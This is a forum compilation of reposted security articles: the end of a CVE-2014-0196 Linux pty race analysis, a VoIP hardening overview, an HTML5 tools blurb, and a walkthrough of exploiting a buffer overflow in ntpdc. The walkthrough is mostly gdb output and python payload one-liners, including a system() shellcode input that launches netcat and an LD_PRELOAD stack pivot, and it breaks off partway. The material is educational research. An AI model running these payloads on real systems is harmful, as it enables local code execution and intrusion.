cleared to zero. Thus when overwriting a controlled object either the whole objects needs to be restored (and the zeros written into unused space before the end of the chunk) or an object needs to be found where parts of it can safely be overwritten with zeros. For the last part it might be possible to target tty_buffer objects when exploiting the vuln on pre 3.14 kernels. Here the header can be overwritten, yielding an arbitrary write (overwrite char_buf_ptr and afterwards send data to the pty) while the zeroes can safely be written into the buffer space and won't cause any trouble. Is Android vulnerable? As stated in the advisory the vulnerability dates back to 2.6.x kernels, roughly 5 years old. That would imply that pretty much every android device out there is vulnerable to this issue. Running a quick PoC on a newer device (for example the Nexus 5, HTC One or Galaxy S4) it seems the race can never be won there though. Let's again take a look at some kernel source code, this time from the HTC One (m7) Cyanogenmod kernel source. int tty_insert_flip_string_fixed_flag(struct tty_struct *tty, const unsigned char *chars, char flag, size_t size) { int copied = 0; do { int goal = min_t(size_t, size - copied, TTY_BUFFER_PAGE); int space; unsigned long flags; struct tty_buffer *tb; spin_lock_irqsave(&tty->buf.lock, flags); /* -1- */ space = __tty_buffer_request_room(tty, goal); tb = tty->buf.tail; if (unlikely(space == 0)) { spin_unlock_irqrestore(&tty->buf.lock, flags); break; } memcpy(tb->char_buf_ptr + tb->used, chars, space); memset(tb->flag_buf_ptr + tb->used, flag, space); tb->used += space; spin_unlock_irqrestore(&tty->buf.lock, flags); copied += space; chars += space; } while (unlikely(size > copied)); return copied; } The Interesting difference is that at -1- we see that the function here is actually locked internally. Now as stated above to win the race the second process needs to enter __tty_buffer_request_room() before the first process updated tb->used. This is not possible if the function is locked like this. Taking a look at the git history of the Linux kernel it turns out that all kernels between c56a00a165712fd73081f40044b1e64407bb1875 (march 2012) and 64325a3be08d364a62ee8f84b2cf86934bc2544a (january 2013) are not affected by this vuln as tty_insert_flip_string_fixed_flag() was internally locked there. For Android that means quite a few of the newer devices are not vulnerable to this issue, most of the older ones are though and there are some newer ones integrated the 64325a3be08d364a62ee8f84b2cf86934bc2544a Linux kernel patch, making them vulnerable again. Conclusion Kernel exploits are hard, getting them reliable is even harder! This concludes our analysis of CVE-2014-0196, we hope you have gained some deeper understanding of this vuln and kernel level security in general. For more details on linux kernel exploitation you can take a look at our last post: How to exploit the x32 recvmmsg() kernel vulnerability CVE 2014-0038 If you have feedback or have worked on something similar let us know, you can email us at: info/at\includesecurity.com Sursa: Include Security Blog | As the ROT13 turns….: Exploiting CVE-2014-0196 a walk-through of the Linux pty race condition PoC
  22. [h=1]DEF CON 22 PoS Attacking the Traveling Salesman[/h] CyberPunk: CyberPunk - Madness and Obsession on the Electronic Frontier
  23. Hardening VoIP systems: Challenges and solutions By InfoSec Institute 06 January 2015, 16:04 p.m. ©iStock.com/rbouwman By Albert Fruz, InfoSec Institute VoIP systems can take many different forms. Any computer is capable of providing VoIP services. Microsoft’s NetMeeting, which comes with any Windows platform, provides some VoIP services as does the Apple Macintosh iChat and many more in Linux platforms. In this growing era of smartphones, everyone carries a VoIP application in their pocket to make cheap calls. VoIP can be implemented in the following ways: ATA The simplest and most common way is through the use of a device called an ATA (analog telephone adaptor). The ATA allows you to connect a standard phone to your computer or your Internet connection for use with VoIP. The ATA is an analog-to-digital converter. It takes the analog signal from your traditional phone and converts it into digital data for transmission over the Internet. IP Phones These are specialized phones which look just like normal phones with a handset, cradle and buttons. But instead of having the standard RJ-11 phone connectors, IP phones have an Ethernet connector sockets. IP phones connect directly to your router and have all the hardware and software necessary right on board to handle the IP call. Wi-Fi phones allow subscribing callers to make VoIP calls from any Wi-Fi hot spot. This method is most commonly employed in corporate networks. Computer-to-computer This is certainly the easiest way to use VoIP. You don’t even have to pay for long-distance calls. There are several companies offering free or very low-cost software that you can use for this type of VoIP. All you need is the software, a microphone, speakers, a sound card and an Internet connection. A VoIP network generally consists of several components: - VoIP Server - VoIP Gateway (VoIP gateway is used to connect the PSTN with the VoIP system) - VoIP Client VoIP makes use of several protocols to transfer voice data over packet based networks some commonly used protocols include SIP, RTP, Skype, Cisco’s SCCP etc. Of these the SIP protocol is commonly used for carrying out VoIP conversations. The major protocols are explained in greater detail below. VoIP quality of service issues Jitter: Jitter refers to non-uniform packet delays. It is often caused by low bandwidth situations in VoIP and can be exceptionally detrimental to the overall QoS. Variations in delays can be more detrimental to QoS than the actual delays themselves. Jitter can cause packets to arrive and be processed out of sequence. Latency: Latency in VoIP refers to the time it takes for a voice transmission to go from its source to its destination. Ideally, we would like to keep latency as low as possible but there are practical lower bounds on the delay of VoIP. Packet loss: Packet loss is another major QoS issue for VoIP systems. VoIP is exceptionally intolerant of packet loss. Packet loss can result from excess latency, where a group of packets arrives late and must be discarded in favor of newer ones. It can also be the result of jitter, that is, when a packet arrives after its surrounding packets have been flushed from the buffer, making the received packet useless. Bandwidth: In computer networks, bandwidth is often used as a synonym for data transfer rate – the amount of data that can be carried from one point to another in a given time period (usually a second). So it is obvious that the more bandwidth we have better the call quality. One of the great attractions of VoIP, data and voice sharing the same wires, is also a potential headache for implementers who must allocate the necessary bandwidth for both networks in a system normally designed for one. Congestion of the network causes packets to be queued, which in turn contributes to the latency of the VoIP system. Low bandwidth can also contribute to non-uniform delays (jitter), since packets will be delivered in spurts when a window of opportunity opens up in the traffic. Session Initiation Protocol (SIP): The Session Initiation Protocol (SIP) is a signaling protocol, widely used in VoIP systems it is extremely popular. The SIP protocol is simple and text based like the HTTP protocol. The protocol defines the messages that are sent between peers which govern establishment, termination and other essential elements of a call. SIP requires a SIP server and a SIP client to work properly. Real time transport protocol (RTP): The real time transport protocol (RTP) defines a standardized packet format for delivering audio and video over IP networks. RTP is used extensively in communication and entertainment systems that involve streaming media, such as telephony, video teleconference applications, television services and web-based push-to-talk features. RTP is UDP based and due to this is not highly reliable but due to the nature of VoIP traffic hundred percent reliability is not essential. RTP is designed for end-to-end, real-time, transfer of stream data. The protocol provides facilities for jitter compensation and detection of out of sequence arrival in data, which are common during transmissions on an IP network. RTP allows data transfer to multiple destinations through IP multicast. VoIP security issues Call interception: One of the most commonly encountered problems with VoIP setups is data that passes through VoIP gateways are not encrypted by default. If a malicious attacker is able to find the source of the stream he is easily able to hijack the signal and listen in on all our conversations. The attacker only requires physical access to a LAN segment that the VoIP packets travel across. Most enterprises use Ethernet switches instead of hubs and this limits the number of locations that such an exploit is possible. Call interception is more of a risk if companies make use of unsecured wireless networks, this can be used to easily enter a corporate network and listen in on calls. Denial of service attacks: A DoS attack causes the disruption of services by flooding the network with large amounts of data. This data can be of my forms but they all force the network from functioning properly. DoS attacks can be far more devastating if it is carried out by several thousands of computers, such an attack is called a DDoS. DDoS attacks may target different parts of the network however, if your VoIP infrastructure is directly connected to the main network it may be affected by the main DDoS attack. Denial of service attacks can cause several problems for VoIP sessions. Some DDoS attacks may not bring down the network itself but may cause severe traffic disruption due to increased latency and jitter in the network. Gulp tool can be used to create SIP flood that too more than 200mpbs from thousands of random sources consistently changing the SIP headers to avoid detection. The tool can also be used to send malformed or spoofed request to cause damages to SIP devices. Exfiltration of data: Another major problem for enterprises is the exfiltration of confidential data from their networks. Attackers can make use RTP sessions to exfiltrate information from a corporate environment, since firewalls do not block VoIP traffic it becomes nearly impossible to stop such attacks. VoIP packets unlike data packets in other formats are much more difficult to scan for hidden content or data without introducing delay into the entire data stream. Exfiltration attacks are usually carried out by VoIP Trojans that send data out of the host system as an RTP stream. Vishing: Voice phishing is practice of using social engineering over the telephone system to gain access to private personal and financial information from the public for the purpose of financial reward or confidential information. The term is a combination of “voice” and phishing. Voice phishing tricks the victim into trusting the caller. They may then inadvertently release sensitive information to the caller. Vishing is very similar to its counterpart in email. Due to its nature Vishing attacks are very difficult to mitigate, user awareness against such attacks are the best solution. Vishing is typically used to steal information such as credit card numbers or user information used in identity theft schemes. Some fraudsters utilize features facilitated by Voice over IP (VoIP), such as caller ID spoofing (to display a number of their choosing on the recipients phone line), and automated systems (IVR). Spamming over Internet Telephony (SPIT): VoIP spam or SPIT (Spam over Internet Telephony) is the mass sending of automatically dialled pre-recorded phone calls using VoIP. These messages are sent to several victims hundreds of times. SPIT messages are similar to their telephone counterparts however they are much more difficult to monitor and mitigate. As Voice over IP systems make use of computer systems it easy extremely easy to send massive amounts of Voice spam to thousands of different VoIP users. VoIP technology also has many free and open source tools that are easily available (e.g. Asterisk and SIP). Such tools greatly simplify the job of the VoIP spammer. The main technology that is exploited to carry out SPIT attacks is the Session Initiation Protocol (SIP). SPIT attacks can be mitigated using a variety of techniques including: - Blacklisting and whitelisting possible spammers - Audio Captcha’s - Reputation systems - Consent based communication Caller ID spoofing: Caller ID is used to identify the caller’s information. Some device has an inbuilt device while others need to attach an external device to identify the caller’s information. Having a caller ID doesn’t makes you to see the callers information, we need to call the service providers and request for caller ID service, sometimes these are optional services which comes for a price from the provider. Caller ID will contain the time of call, duration of call and caller’s information. There are different websites that are available which can be used to spoof calls. Some of these websites are limited to specific countries. By spoofing, the call will appear to us a legitimate call from the bank asking for confidential information which can further lead to data breaches. Registration hijacking: When a user agent (IP phone) is plugged in to a VoIP network, it will try connecting to SIP server for registration and the phone is available for use after registration is done. Attackers impersonate the user agent and try to connect to the SIP server to become a part of the network. When registration is hijacked the calls intended for a particular user will be diverted to a rogue person and the entire VoIP network becomes messy. The fact that registration is hijacked is because the registration method used in VoIP is UDP rather than TCP and the authentication mechanism from user agent to server is very weak. Scanners (SiVus) are available to check the weakness of VoIP security and registration hijacking is one such exploit that can be carried out. Viruses and malware: Nothing to say more on viruses and malware. Such actors can bring down the entire VoIP network down or abuse the VoIP usage. Malwares imposing as genuine software which leaks VoIP credentials or open a remote backdoor on the target are commonplace. Software phones are more vulnerable to such attacks. Countermeasures The various security issues mentioned above are major detriments to VoIP infrastructure and can cause large scale loss of money and intellectual property. Countermeasures for these security issues are given below in greater detail: Encryption: Encryption has yet to be completely integrated into VoIP protocols – only end-to-end encryption techniques exist for current VoIP. The problem with encryption is that it may increase latency, jitter, bit error rate, error propagation and affect bandwidth. As is often the case with encryption, the implementation details are crucial to success. One should also be aware of the various levels at which encryption can be applied. Application layer encryption can provide end-to-end coverage but increase covert channel problems at firewalls and guards because of the traffics being encrypted. Virtual Private Networks (VPNs) and link encryptions can be used at the network layer but may require decryption and re-encryption at various points, leaving the message exposed briefly at some nodes. However encryption will also introduce delay, either during call setup or as latency during the session. If the encryption is not sufficiently fast, some form of voice compression may be required for effective use. IP phone to the server channel can be encrypted by using TLS. Signaling messages and voice streams are encrypted via TLS to establish secure and reliable data transfer between two systems. Firewalls: The use of VoIP requires the adaptation of the firewalls in the network to allow access to ports used by VoIP and to allow out the various protocols VoIP use. Because an adversary could use these paths as well, configurations must be chosen carefully. Note that in this instance the concern is not so much about the impact on VoIP, as about the effect of the introduction of VoIP equipment and traffic on the security of the pre-existing data network. In a similar vein, it is unclear how VoIP can be incorporated across a network boundary protected by a guard. The inclusion of firewalls into front of VoIP traffic can also lead to performance issues for the system such as increased latency and Jitter. Firewalls can also be used to mitigate DDoS attacks against VoIP networks. Traffic analysis: Deep packet inspection tools are essential to protect organizations from VoIP threats. VoIP packets are notoriously difficult inspect stripping useful data from the traffic requires high quality packet inspection tools. Such tools can attempt to look for hidden data within VoIP traffic, security devices such as NGFW’s and UTM’s offer deep packet inspection capabilities. These devices can analyze network traffic and attempt to detect the data leaving the network and stop it before it does. Improved network security: Improved network security is important for VoIP security particularly to prevent call interception. Wireless networks in the enterprise should be properly secured to prevent tampering and wardriving attacks as they allow easy access to the VoIP network. Authentication mechanisms: IP phones should carry certificates to verify its identity on the VoIP network. Ideally the certificates in IP phones are signed by certificate authority and are verified by the certificates store that is present in the server. Apply appropriate patches: Apply appropriate patches to VoIP applications. All patches have to be applied via the ITIL framework to ensure the patches are deployed smoothly. A threat intelligence service can be subscribed to get the latest patch and its workaround in a timely manner. Turn off unnecessary protocols: Depending upon the vendor you use for VoIP systems it should be hardened by disabling unused services in the system. This will stop intruders to exploit security vulnerabilities to a limit. Best practices and recommendations are available in all vendor sites or can be received by subscribing to a threat intelligence feed. Physical security and awareness: VoIP gateways should be properly secured in data centres and controls should be in place to prevent unauthorised physical access to such machines. The best prevention against Vishing attacks is user awareness proper training should be given to employees to ensure that they do not inadvertently release sensitive information to malicious third parties. Conclusion The number of VoIP implementations in organisations is changing dramatically and many exploit tools are introduced in the market to bring down the VoIP systems. It is necessary for us to safeguard our VoIP systems by properly designing, deploying and analysing VoIP traffic on a daily basis. Organisations should be prepared to handle such types of attacks and closely consider new solutions to improve the current practice. Sursa: Hardening VoIP systems: Challenges and solutions - Telecom Tech News
  24. AppSec Labs is a frontline company with regard to new technologies. Whether performing research of HTML5 technology, developing an HTML5 attack framework, or publishing tools for finding, testing and exploiting vulnerabilities that can be found in HTML5-based websites and in regular websites that have not been protected against HTML5 functionalities, AppSec Labs makes sure that it is on top of the game. Tools: https://appsec-labs.com/html5/#toggle-id-2
  25. Alejandro Hdez (@nitr0usmx) recently tweeted about a trivial buffer overflow in ntpdc, a deprecated NTP query tool still available and packaged with any NTP install. He posted a screenshot of the crash as the result of a large buffer passed into a vulnerable gets call. After digging into it a bit, I decided it’d be a fun exploit to write, and it was. There are a few quarks to it that make it of particular interest, of which I’ve detailed below. As noted, the bug is the result of a vulnerable gets, which can be crashed with the following: [TABLE] [TR] [TD=class: gutter]1 2 3[/TD] [TD=class: code]$ python -c 'print "A"*600' | ntpdc ***Command `AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' unknown Segmentation fault[/TD] [/TR] [/TABLE] Loading into gdb on an x86 Debian 7 system: [TABLE] [TR] [TD=class: gutter]1 2 3 4 5 6 7 8 9 10 11 12[/TD] [TD=class: code]gdb-peda$ i r eax edx esi eax 0x41414141 0x41414141 edx 0x41414141 0x41414141 esi 0x41414141 0x41414141 gdb-peda$ x/i $eip => 0xb7fa1d76 <el_gets+22>: mov eax,DWORD PTR [esi+0x14] gdb-peda$ checksec CANARY : ENABLED FORTIFY : ENABLED NX : ENABLED PIE : disabled RELRO : Partial[/TD] [/TR] [/TABLE] Notice the checksec results of the binary, now compare this to a snippet of the paxtest output: [TABLE] [TR] [TD=class: gutter]1 2 3 4 5 6 7 8 9 10[/TD] [TD=class: code]Mode: Blackhat Linux deb7-32 3.2.0-4-486 #1 Debian 3.2.63-2+deb7u2 i686 GNU/Linux Executable anonymous mapping : Vulnerable Executable bss : Vulnerable Executable data : Vulnerable Executable heap : Vulnerable Executable stack : Vulnerable Executable shared library bss : Vulnerable Executable shared library data : Vulnerable[/TD] [/TR] [/TABLE] And the result of Debian’s recommended hardening-check: [TABLE] [TR] [TD=class: gutter]1 2 3 4 5 6 7[/TD] [TD=class: code]$ hardening-check /usr/bin/ntpdc /usr/bin/ntpdc: Position Independent Executable: no, normal executable! Stack protected: yes Fortify Source functions: yes (some protected functions found) Read-only relocations: yes Immediate binding: no, not found![/TD] [/TR] [/TABLE] Interestingly enough, I discovered this oddity after I had gained code execution in a place I shouldn’t have. We’re also running with ASLR enabled: [TABLE] [TR] [TD=class: gutter]1 2[/TD] [TD=class: code]$ cat /proc/sys/kernel/randomize_va_space 2 [/TD] [/TR] [/TABLE] I’ll explain why the above is interesting in a moment. So in our current state, we control three registers and an instruction dereferencing ESI+0x14. If we take a look just a few instructions ahead, we see the following: [TABLE] [TR] [TD=class: gutter]1 2 3 4 5 6 7 8[/TD] [TD=class: code]gdb-peda$ x/8i $eip => 0xb7fa1d76 <el_gets+22>: mov eax,DWORD PTR [esi+0x14] ; deref ESI+0x14 and move into EAX 0xb7fa1d79 <el_gets+25>: test al,0x2 ; test lower byte against 0x2 0xb7fa1d7b <el_gets+27>: je 0xb7fa1df8 <el_gets+152> ; jump if ZF == 1 0xb7fa1d7d <el_gets+29>: mov ebp,DWORD PTR [esi+0x2c] ; doesnt matter 0xb7fa1d80 <el_gets+32>: mov DWORD PTR [esp+0x4],ebp ; doesnt matter 0xb7fa1d84 <el_gets+36>: mov DWORD PTR [esp],esi ; doesnt matter 0xb7fa1d87 <el_gets+39>: call DWORD PTR [esi+0x318] ; call a controllable pointer[/TD] [/TR] [/TABLE] I’ve detailed the instructions above, but essentially we’ve got a free CALL. In order to reach this, we need an ESI value that at +0x14 will set ZF == 0 (to bypass the test/je) and at +0x318 will point into controlled data. Naturally, we should figure out where our payload junk is and go from there. [TABLE] [TR] [TD=class: gutter]1 2 3 4 5 6 7 8 9 10 11 12 13[/TD] [TD=class: code]gdb-peda$ searchmem 0x41414141 Searching for '0x41414141' in: None ranges Found 751 results, display max 256 items: ntpdc : 0x806ab00 ('A' <repeats 200 times>...) gdb-peda$ maintenance i sections [snip] 0x806a400->0x806edc8 at 0x00021400: .bss ALLOC gdb-peda$ vmmap Start End Perm Name 0x08048000 0x08068000 r-xp /usr/bin/ntpdc 0x08068000 0x08069000 r--p /usr/bin/ntpdc 0x08069000 0x0806b000 rw-p /usr/bin/ntpdc [snip][/TD] [/TR] [/TABLE] Our payload is copied into BSS, which is beneficial as this will remain unaffected by ASLR, further bonus points because our binary wasn’t compiled with PIE. We now need to move back -0x318 and look for a value that will set ZF == 0 with the test al,0x2 instruction. A value at 0x806a9e1 satisfies both the +0x14 and +0x318 requirements: [TABLE] [TR] [TD=class: gutter]1 2 3 4[/TD] [TD=class: code]gdb-peda$ x/wx 0x806a9cd+0x14 0x806a9e1: 0x6c61636f gdb-peda$ x/wx 0x806a9cd+0x318 0x806ace5: 0x41414141[/TD] [/TR] [/TABLE] After figuring out the offset in the payload for ESI, we just need to plug 0x806a9cd in and hopefully we’ll have EIP: [TABLE] [TR] [TD=class: gutter]1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31[/TD] [TD=class: code]$ python -c 'print "A"*485 + "C"*4 + "A"*79 + "\xcd\xa9\x06\x08" + "C"*600' > crash.info $ gdb -q /usr/bin/ntpdc $ r < crash.info Program received signal SIGSEGV, Segmentation fault. [----------------------------------registers-----------------------------------] EAX: 0x6c61636f ('ocal') EBX: 0xb7fabff4 --> 0x1fe40 ECX: 0xb7dc13c0 --> 0x0 EDX: 0x43434343 ('CCCC') ESI: 0x806a9cd --> 0x0 EDI: 0x0 EBP: 0x0 ESP: 0xbffff3cc --> 0xb7fa1d8d (<el_gets+45>: cmp eax,0x1) EIP: 0x43434343 ('CCCC') EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] Invalid $PC address: 0x43434343 [------------------------------------stack-------------------------------------] 0000| 0xbffff3cc --> 0xb7fa1d8d (<el_gets+45>: cmp eax,0x1) 0004| 0xbffff3d0 --> 0x806a9cd --> 0x0 0008| 0xbffff3d4 --> 0x0 0012| 0xbffff3d8 --> 0x8069108 --> 0xb7d7a4d0 (push ebx) 0016| 0xbffff3dc --> 0x0 0020| 0xbffff3e0 --> 0xb7c677f4 --> 0x1cce 0024| 0xbffff3e4 --> 0x807b6f8 ('A' <repeats 200 times>...) 0028| 0xbffff3e8 --> 0x807d3b0 ('A' <repeats 200 times>...) [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x43434343 in ?? ()[/TD] [/TR] [/TABLE] Now that we’ve got EIP, it’s a simple matter of stack pivoting to execute a ROP payload. Let’s figure out where that "C"*600 lands in memory and redirect EIP there: [TABLE] [TR] [TD=class: gutter]1 2 3 4 5 6[/TD] [TD=class: code]gdb-peda$ searchmem 0x43434343 Searching for '0x43434343' in: None ranges Found 755 results, display max 256 items: ntpdc : 0x806ace5 ("CCCC", 'A' <repeats 79 times>, "?\006\b", 'C' <repeats 113 times>...) ntpdc : 0x806ad3c ('C' <repeats 200 times>...) [snip][/TD] [/TR] [/TABLE] And we’ll fill it with \xcc to ensure we’re there (theoretically triggering NX): [TABLE] [TR] [TD=class: gutter]1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40[/TD] [TD=class: code]$ python -c 'print "A"*485 + "\x3c\xad\x06\x08" + "A"*79 + "\xcd\xa9\x06\x08" + "\xcc"*600' > crash.info $ gdb -q /usr/bin/ntpdc Reading symbols from /usr/bin/ntpdc...(no debugging symbols found)...done. gdb-peda$ r < crash.info [snip] Program received signal SIGTRAP, Trace/breakpoint trap. [----------------------------------registers-----------------------------------] EAX: 0x6c61636f ('ocal') EBX: 0xb7fabff4 --> 0x1fe40 ECX: 0xb7dc13c0 --> 0x0 EDX: 0xcccccccc ESI: 0x806a9cd --> 0x0 EDI: 0x0 EBP: 0x0 ESP: 0xbffff3ec --> 0xb7fa1d8d (<el_gets+45>: cmp eax,0x1) EIP: 0x806ad3d --> 0xcccccccc EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x806ad38: int 0xa9 0x806ad3a: push es 0x806ad3b: or ah,cl => 0x806ad3d: int3 0x806ad3e: int3 0x806ad3f: int3 0x806ad40: int3 0x806ad41: int3 [------------------------------------stack-------------------------------------] 0000| 0xbffff3ec --> 0xb7fa1d8d (<el_gets+45>: cmp eax,0x1) 0004| 0xbffff3f0 --> 0x806a9cd --> 0x0 0008| 0xbffff3f4 --> 0x0 0012| 0xbffff3f8 --> 0x8069108 --> 0xb7d7a4d0 (push ebx) 0016| 0xbffff3fc --> 0x0 0020| 0xbffff400 --> 0xb7c677f4 --> 0x1cce 0024| 0xbffff404 --> 0x807b9d0 ('A' <repeats 200 times>...) 0028| 0xbffff408 --> 0x807d688 ('A' <repeats 200 times>...) [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGTRAP 0x0806ad3d in ?? () gdb-peda$[/TD] [/TR] [/TABLE] Er, what? It appears to be executing code in BSS! Recall the output of paxtest/checksec/hardening-check from earlier, NX was clearly enabled. This took me a few hours to figure out, but it ultimately came down to Debian not distributing x86 images with PAE, or Physical Address Extension. PAE is a kernel feature that allows 32-bit CPU’s to access physical page tables and doubling each entry in the page table and page directory. This third level of paging and increased entry size is required for NX on x86 architectures because NX adds a single ‘dont execute’ bit to the page table. You can read more about PAE here, and the original NX patch here. This flag can be tested for with a simple grep of /proc/cpuinfo; on a fresh install of Debian 7, a grep for PAE will turn up empty, but on something with support, such as Ubuntu, you’ll get the flag back. Because I had come this far already, I figured I might as well get the exploit working. At this point it was simple, anyway: [TABLE] [TR] [TD=class: gutter]1 2 3 4 5 6 7 8 9 10 11 12 13[/TD] [TD=class: code]$ python -c 'print "A"*485 + "\x3c\xad\x06\x08" + "A"*79 + "\xcd\xa9\x06\x08" + "\x90"*4 + "\x68\xec\xf7\xff\xbf\x68\x70\xe2\xc8\xb7\x68\x30\xac\xc9\xb7\xc3"' > input2.file $ gdb -q /usr/bin/ntpdc Reading symbols from /usr/bin/ntpdc...(no debugging symbols found)...done. gdb-peda$ r < input.file [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/i386-linux-gnu/i686/cmov/libthread_db.so.1". ***Command `AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<?AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA?????h????hp??h0???' unknown [New process 4396] [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/i386-linux-gnu/i686/cmov/libthread_db.so.1". process 4396 is executing new program: /bin/dash [New process 4397] process 4397 is executing new program: /bin/nc.traditional[/TD] [/TR] [/TABLE] This uses a simple system payload with hard-coded addresses, because at this point it’s an old-school, CTF-style exploit. And it works. With this trivial PoC working, I decided to check another box I had to verify this is a common distribution method. An Ubuntu VM said otherwise: [TABLE] [TR] [TD=class: gutter]1 2 3 4 5 6 7[/TD] [TD=class: code]$ uname -a Linux bryan-VirtualBox 3.2.0-74-generic #109-Ubuntu SMP Tue Dec 9 16:47:54 UTC 2014 i686 i686 i386 GNU/Linux $ ./checksec.sh --file /usr/bin/ntpdc RELRO STACK CANARY NX PIE RPATH RUNPATH FILE Full RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH /usr/bin/ntpdc $ cat /proc/sys/kernel/randomize_va_space 2[/TD] [/TR] [/TABLE] Quite a different story. We need to bypass full RELRO (no GOT overwrites), PIE+ASLR, NX, SSP, and ASCII armor. In our current state, things are looking pretty grim. As an aside, it’s important to remember that because this is a local exploit, the attacker is assumed to have limited control over the system. Ergo, an attacker may inspect and modify the system in the same manner a limited user could. This becomes important with a few techniques we’re going to use moving forward. Our first priority is stack pivoting; we won’t be able to ROP to victory without control over the stack. There are a few options for this, but the easiest option is likely going to be an ADD ESP, ? gadget. The problem with this being that we need to have some sort of control over the stack or be able to modify ESP somewhere into BSS that we control. Looking at the output of ropgadget, we’ve got 36 options, almost all of which are of the form ADD ESP, ?. After looking through the list, I determined that none of the values led to control over the stack; in fact, nothing I injected landed on the stack. I did note, however, the following: [TABLE] [TR] [TD=class: gutter]1 2 3 4 5 6 7 8 9 10 11 12[/TD] [TD=class: code]gdb-peda$ x/6i 0x800143e0 0x800143e0: add esp,0x256c 0x800143e6: pop ebx 0x800143e7: pop esi 0x800143e8: pop edi 0x800143e9: pop ebp 0x800143ea: ret gdb-peda$ x/30s $esp+0x256c 0xbffff3a4: "-1420310755.557158-104120677" 0xbffff3c1: "WINDOWID=69206020" 0xbffff3d3: "GNOME_KEYRING_CONTROL=/tmp/keyring-iBX3uM" 0xbffff3fd: "GTK_MODULES=canberra-gtk-module:canberra-gtk-module"[/TD] [/TR] [/TABLE] These are environmental variables passed into the application and located on the program stack. Using the ROP gadget ADD ESP, 0x256c, followed by a series of register POPs, we could land here. Controlling this is easy with the help of LD_PRELOAD, a neat trick documented by Dan Rosenberg in 2010. By exporting LD_PRELOAD, we can control uninitialized data located on the stack, as follows: [TABLE] [TR] [TD=class: gutter]1 2 3 4 5 6 7 8 9[/TD] [TD=class: code]$ export LD_PRELOAD=`python -c 'print "A"*10000'` $ gdb -q /usr/bin/ntpdc gdb-peda$ r < input.file [..snip..] gdb-peda$ x/10wx $esp+0x256c 0xbfffedc8: 0x41414141 0x41414141 0x41414141 0x41414141 0xbfffedd8: 0x41414141 0x41414141 0x41414141 0x41414141 0xbfffede8: 0x41414141 0x41414141 gdb-peda$[/TD] [/TR] [/TABLE] Using some pattern_create/offset magic, we can find the offset in our LD_PRELOAD string and take control over EIP and the stack: [TABLE] [TR] [TD=class: gutter]1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31[/TD] [TD=class: code]$ export LD_PRELOAD=`python -c 'print "A"*8490 + "AAAA" + "BBBB"'` $ python -c "print 'A'*485 + '\xe0\x43\x01\x80' + 'A'*79 + '\x8d\x67\x02\x80' + 'B'*600" > input.file $ gdb -q /usr/bin/ntpdc gdb-peda$ r < input.file Program received signal SIGSEGV, Segmentation fault. [----------------------------------registers-----------------------------------] EAX: 0x6c61636f ('ocal') EBX: 0x41414141 ('AAAA') ECX: 0x13560 EDX: 0x42424242 ('BBBB') ESI: 0x41414141 ('AAAA') EDI: 0x41414141 ('AAAA') EBP: 0x41414141 ('AAAA') ESP: 0xbffff3bc ("BBBB") EIP: 0x41414141 ('AAAA') EFLAGS: 0x10292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] Invalid $PC address: 0x41414141 [------------------------------------stack-------------------------------------] 0000| 0xbffff3bc ("BBBB") 0004| 0xbffff3c0 --> 0x4e495700 ('') 0008| 0xbffff3c4 ("DOWID=69206020") 0012| 0xbffff3c8 ("D=69206020") 0016| 0xbffff3cc ("206020") 0020| 0xbffff3d0 --> 0x47003032 ('20') 0024| 0xbffff3d4 ("NOME_KEYRING_CONTROL=/tmp/keyring-iBX3uM") 